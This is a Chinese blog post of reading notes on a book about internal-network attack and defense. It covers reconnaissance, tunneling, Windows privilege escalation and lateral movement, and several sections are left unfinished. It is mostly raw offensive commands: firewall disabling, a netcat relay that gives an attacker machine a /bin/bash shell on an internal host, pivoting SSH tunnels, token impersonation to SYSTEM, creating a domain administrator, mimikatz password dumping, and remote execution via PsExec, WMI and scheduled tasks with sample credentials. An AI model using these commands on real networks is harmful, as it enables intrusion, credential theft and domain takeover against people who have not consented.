[读书笔记] 内网安全攻防(1)

主要把近期读的《内网安全攻防》做一个知识点汇总,方便查阅。

参考目录:
内网安全攻防(1)
内网安全攻防(2)

0x01 内网渗透基础

第一章内容相对比较基础,参见之前总结的这篇博文:内网基础知识

0x02 内网信息收集

2.1 收集本机信息

网络配置信息

#查看当前是否存在域
ipconfig /all

操作系统及软件信息:

#查询操作系统信息
systeminfo

#查询安装的软件信息
wmic product get name,version
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name version"

#查询进程信息
tasklist
wmic process list brief

#查看计划任务
schtasks /query /fo LIST /v

#查看主机开机时间
net statistics workstation

#查看当前在线用户
query user || qwinsta

#列出或者断开本地计算机与之连接的客户端的会话
net session[//computername][/delete]
例子:net session //momaek /delete

#DNS服务器可能开放了53端口(域控) 更新服务器可能开放了8530端口
netstat -ano
#查询本机共享列表
net share
wmic share get name,path,status

#查询路由表
route print
arp -a

#关闭防火墙
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off

#放行/开启3389端口
待补充

自动收集信息

1.VMIC
vmic是Windows管理工具命令行,默认情况下,win xp不允许低权限用户使用wmic,win7以上方才可以
http://www.fuzzysecurity.com/scripts/files/wmic_info.rar

2.Empire

#可查询本机用户、域组成员、密码设置时间
usemodule situational_awareness/host/winenum

2.2 判断是否存在域

#查询域用户的权限组
net user xxxx /domain

#判断域控与DNS是否为同一主机
nslookup hacked.com
(查看IP信息是否相符即可判断)

#域服务器通常会作为时间服务器
net time /domain
(1)找不到xxx域控制器:处于工作组,不存在域
(2)发生错误,拒绝访问:存在域,不是域用户
(3)查询成功:存在域,是域用户

2.3 探测域内存活主机

探测存活主机,可在白天和晚上分别进行探测,进行对比分析
这里我之前也有写过一篇博文,会全一些:

NetBIOS 探测

几乎所有的局域网都是在NetBIOS协议的基础上工作的,nbtscan有WINDOWS和LINUX两个版本,体积很小,不需要安装任何库

nbe.exe 192.168.1.0/24

下载链接:待补充

ICMP 探测

#cmd
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

#vbs脚本
待补充

ARP 探测

#arp-scan工具
arp.exe -t 192.168.1.0/20

#Empier
usemodule situational_awareness/network/arpscan

#Nishang
powershell.exe -exec bypass -Command "& {Import-Module C:\windows\temp\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/20" >> C:\windows\temp\log.txt
type log.txt

#TCP/UDP
scanline.exe

2.4 扫描域内端口

#手工telnet
telnet DC 22

#S扫描器
s.exe

#Msf
use auxiliary/scanner/portscan/tcp

#PowerSploit
./Invoke-Portscan.ps1

#Nishang
Invoke-PortScan模块

2.5 收集域内信息

#当前域名称
net view /domain

#查询域内所有主机
net view /domain:域名

#查询域内所有用户组
net group /domain

#查询所有域成员主机全称
net group "domain computers" /domain

#获取域密码信息
net accounts /domain

#获取域信任信息
nltest /domain_trusts

#查看域控制器的主机名
nltest /DCLIST:域名
Nslookup -type=SRV _ldap._tcp
netdom query pdc

#查看域控制器组
net group "Domain Controllers" /domain

在实际网络中,一个域内一般存在两台或者两台以上的域控制器(备用域控制器)

常用的dsquery域内命令:

dsquery ou - 查找 组织单元
dsquery group - 查找 组
dsquery site - 查找 站点
dsquery user - 查找 用户
dsquery computer - 查找 计算机
dsquery subnet - 查找 子网
dsquery quota - 查找配额规定
dsquery contact - 查找 联系人
dsquery partition - 查找分区
dsquery server - 查找 AD DC/LDS 实例
dsquery * - 用通用的LDAP查询来查找任何对象
#查询域管理用户
net group "domain admins" /domain

#查询管理员用户组
net group "Enterprise Admins" /domain

2.6 定位域管理员

待补充

0x03 隐藏通信隧道技术

本章中大多数讲解的是如何在访问受限的网络环境中来去自如,部分网络代理技术之前的博客也有总结过。参考链接:端口转发工具大合集,这里主要再做些知识点的补充。

常用的隧道如下:
网络层:TPv6隧道(socat/6tunnel/nt6tunnel)、ICMP隧道(icmpsh/PingTunnel/powershell icmp)、GRE隧道
传输层:TCP隧道、UDP隧道、常规端口转发
应用层:SSH隧道、HTTP隧道、HTTS隧道、DNS隧道

3.1 传输层nc代理

实验环境:

攻击者VPS:192.168.1.4
DMZ服务器:192.168.1.1/1.1.1.116
内网数据库:1.1.1.200

代理目的:攻击者VPS能够管控内网数据库的终端

#攻击者VPS
nc -lvp 3333

#内网数据库
nc -lvp 3333 -e /bin/bash

#DMZ服务器
nc -v 192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"

3.2 应用层SSH代理

SSH协议属于应用层协议,一个普通的SSH命令如下:ssh [email protected]

3.2.1 实验环境

Kali:192.168.1.4
DMZ服务器:192.168.1.11/1.1.1.16
数据库服务器:1.1.1.10

3.2.2 本地转发(适合目标机能够接收内部流量的情况)

转发目的:以DMZ服务器为跳板,访问数据库服务的3389端口

#在Kali上执行,会要求输入DMZ服务器的SSH密码:
ssh -CfNg -L 1153(本地端口):1.1.1.10:3389(目标主机) [email protected](跳板机)

本地转发是将远程主机某个端口的数据转发到本地机器的指定端口,此时访问本地的1153端口,即可成功代理目标主机的3389端口流量。

3.2.3 远程转发(适合跳板机能够发送内部流量的情况)

转发目的:以DMZ服务器为跳板,访问数据库服务的3389端口

#在DMZ服务器上执行
ssh -CfNg -R 3307(Kali端口):1.1.1.10:3389(目标主机) [email protected](Kali主机)

远程转发是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过SSH隧道传输到达本地的对应端口,此时访问Kali的3307端口,即可成功代理目标主机的3389端口流量

3.2.4 动态转发

可以通过SSH隧道开启一个目标内网的代理通道

同一实验环境下,在Kali上执行:

ssh -CfNg -D 7000 [email protected](DMZ服务器)

此时即通过SSH隧道开放了一个可以访问目标服务器内网环境的流量通道

0x04 权限提升分析与防御

4.1 简介

提权可分为纵向提权与横向提权:纵向提权:低权限角色获得高权限角色的权限;横向提权:获取同级别角色的权限。

常用的提权方法有:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等

4.2 系统内核溢出漏洞提权

此提权方法即是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的EXP和它们的补丁编号,进行提升权限。

https://github.com/SecWiki/windows-kernel-exploits

4.2.1 手工查找补丁情况

systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn

4.2.2 MSF后渗透扫描

post/windows/gather/enum_patches

4.2.3 Powershell扫描

Import-Module C:\Sherlock.ps1
Find-AllVulns

4.3 系统配置错误提权

4.3.1 系统服务权限配置错误

Windows在系统启动时,会伴随着一些高权服务启动,倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持

实现方法可借助:
1.Powershell中的PowerUp脚本

2.Metasploit中的攻击模块

#需要提前获取一个session
exploit/windows/local/service_permissions

4.3.2 可信任服务路径漏洞

如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的

MSF使用实战:

#寻找存在漏洞的服务
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

exploit/windows/local/trusted_service_path

#正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
set AutoRunScript migrate -f

4.3.3 计划任务

如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行恶意程序。

#查看计算机的计划任务
schtasks /query /fo LIST /v

4.3.4 Empire内置模块

usemodule privesc/powerup/allchecks
execute

4.4 组策略首选项提权

组策略首选项(Group Policy Preferences,GPP)

#Powershell获取cpassword
Get-GPPPassword.ps1

#Msf
post/windows/gather/credentials/gpp

#Empire
usemodule privesc/gpp

4.5 绕过UAC提权

之前有一篇博文,主要写的就是这个:
所以在这里就只把一些常用的命令筛选出来

#Msf
exploit/windows/local/bypassuac
getsysem

#避免发现,内存注入,不产生文件
exploit/windows/local/bypassuac_injection
#Powershell
Invoke-PsUACme

#Empire
usemodule privesc/bypassuac
usemodule privesc/bypassuac_wscript

4.6 令牌窃取

4.6.1 实战举例

#已经获取到一个session
#方法一

meterpreter > use incognito
......
meterpreter > list_tokens -u
......
WIN-2HU3N1\Administrator
......
meterpreter > impersonate_token WIN-2HU3N1\\Administrator  #注意:这里是两个反斜杠\\
......
Successfully......

meterpreter > shell

C:\User\Administrator>whoami
WIN-2HU3N1\Administrator
#方法二,借用Rotten potato程序
https://github.com/foxglovesec/RottenPotato.git

meterpreter > use incognito
......
meterpreter > list_tokens -u
......
WIN-2HU3N1\Administrator
......
meterpreter > upload /root/Rottenpotato/rottenpotato.exe
Successfully......

meterpreter > execute -HC -f rottenpotato.exe
Successfully......

meterpreter > getuid
...NT AUTHORITY\SYSTEM

4.6.2 添加域管理员

#cmd
net user mo 123456 /ad /domain            #添加域用户
net group "domain admins" mo /ad /domain  #加入域管理员组

net group "domain admins" /domain         #查看是否添加成功


#MSF
add_user mo 123456 -h 1.1.1.2
add_group_user "Domain Admins" mo -h 1.1.1.2

在添加好可控制的域管理员后,可迭代使用MSF查询所存在的身份验证令牌

4.7 无凭证条件下的权限提升

Responder.py:https://github.com/SpiderLabs/Responder.git

0x05 域内横向移动分析与防御

5.1 常用指令

#IPC连接
net use \\192.168.100.190\ipc$ "123456" /user:administrator
net use #查看已建立的连接
net use \\192.168.100.190\ipc$ /del /y #删除建立的连接

#dir命令
dir \\192.168.100.190\c$

  2019/06/22  16:47    <DIR>          .
  2019/06/22  16:47    <DIR>          ..
  2019/04/24  15:22    <DIR>          .ipynb_checkpoints
  2018/11/05  15:05             4,760 1-numpy数值计算基础1.ipynb
  2019/04/23  16:13             2,831 Crypto.ipynb

               2 个文件      1,469 字节
               3 个目录      1,976 可用字节

#tasklist命令
tasklist /$ 192.168.100.190 /U administrator /P 123456


#at计划任务
net time \\192.168.100.190
copy calc.bat \\192.168.100.190
at \\192.168.100.190 4.11PM C:\calc.bat (无回显)
at \\192.168.100.190 4.11PM cmd.exe /c "ipconfig >C:/1.txt"
type \\192.168.100.190\C$\1.txt         (分步回显)
at \\192.168.100.190 7(任务计划的ID号) /delete (清除计划任务)


#schtasks计划任务
#在远程主机上创建一个:c:\calc.bat 开机时以System权限启动的 test 任务
schtasks /create /s 192.168.100.190 /tn test /sc onstart /tr c:\calc.bat /ru system /f

#执行 test 任务
schtasks /run /s 192.168.100.190 /i /tn "test"

#删除计划任务
schtasks /delete /s 192.168.100.190 /tn "test" /f

#schtasks会留存日志
C:\Windows\Tasks\SchedLgU.txt

5.2 Windows系统散列值获取

在windows操作系统中,Hash的结构通常如下:

username:RID:LM-HASH:NT-HASH
#服务器版从windows server2003以后,认证方式均为NTLM Hash
#如果LM Hash被禁用了,工具抓到的LM Hash通常为:aad3b435b51404eeaad3b435b51404ee

单机密码抓取:

GetPassword_x64.exe  #获得明文

PwDump7.exe #获得NTML Hash

#mimikatz本地读取
privilege::debug
token::elevate
lsadump::sam

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"


#mimikatz离线读取lsass.dmp

#Nishang
Import-Module .\Get-PassHashes.ps1

5.3 哈希传递攻击分析

参考链接:

5.4 票据传递攻击分析

参考链接:

5.5 PsExec的使用

在建立了IPC$的情况下,执行如下命令,获取System权限的Shell

PsExec.exe -accepteula \\192.168.100.190 -s cmd.exe

#如果暂时没有建立IPC$连接的话,可以用-u,-p参数进行建立
PsExec.exe -accepteula \\192.168.100.190 -u administrator -p 123456 cmd.exe /c "ipconfig"   #回显执行
#MSF中的psexec模块
exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh(Powershell版本,混淆)

5.6 WMI的使用

wmi的命令没有回显,但其操作默认不会记录在日志中,需要借助ipc$和type命令来读取信息

#远程执行wmic命令,目标服务器需开启135端口
wmic /node:192.168.100.190 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig >ip.txt"
type \\192.168.100.190\C$\ip.txt

想要从Linux向Windows进行横向渗透的话,可以使用impacket工具包中的wmiexec.py文件,得到目标的shell

可以通过VBS调用VMI来模拟PsExec的功能

cscript.exe //nologo wmiexec.vbs /shell 192.168.100.190 administrator 123456
cscript.exe wmiexec.vbs /cmd 192.168.100.190 administrator 123456 "ipconfig"

5.7 smbexec的使用

smbexec是需要提前将自身上传到目标服务器上的

test.exe:客户端主程序
execserver.exe:目标系统中的辅助程序
net use \\192.168.100.205 "123456" /user:pentest\administrator

#将execserver.exe上传到目标系统的C:\windows\目录下
smbexec.exe 192.168.100.205 administrator 123456 whoami c$

5.8 DCOM在远程系统中的使用

猜你喜欢

转载自www.cnblogs.com/-mo-/p/12333943.html
今日推荐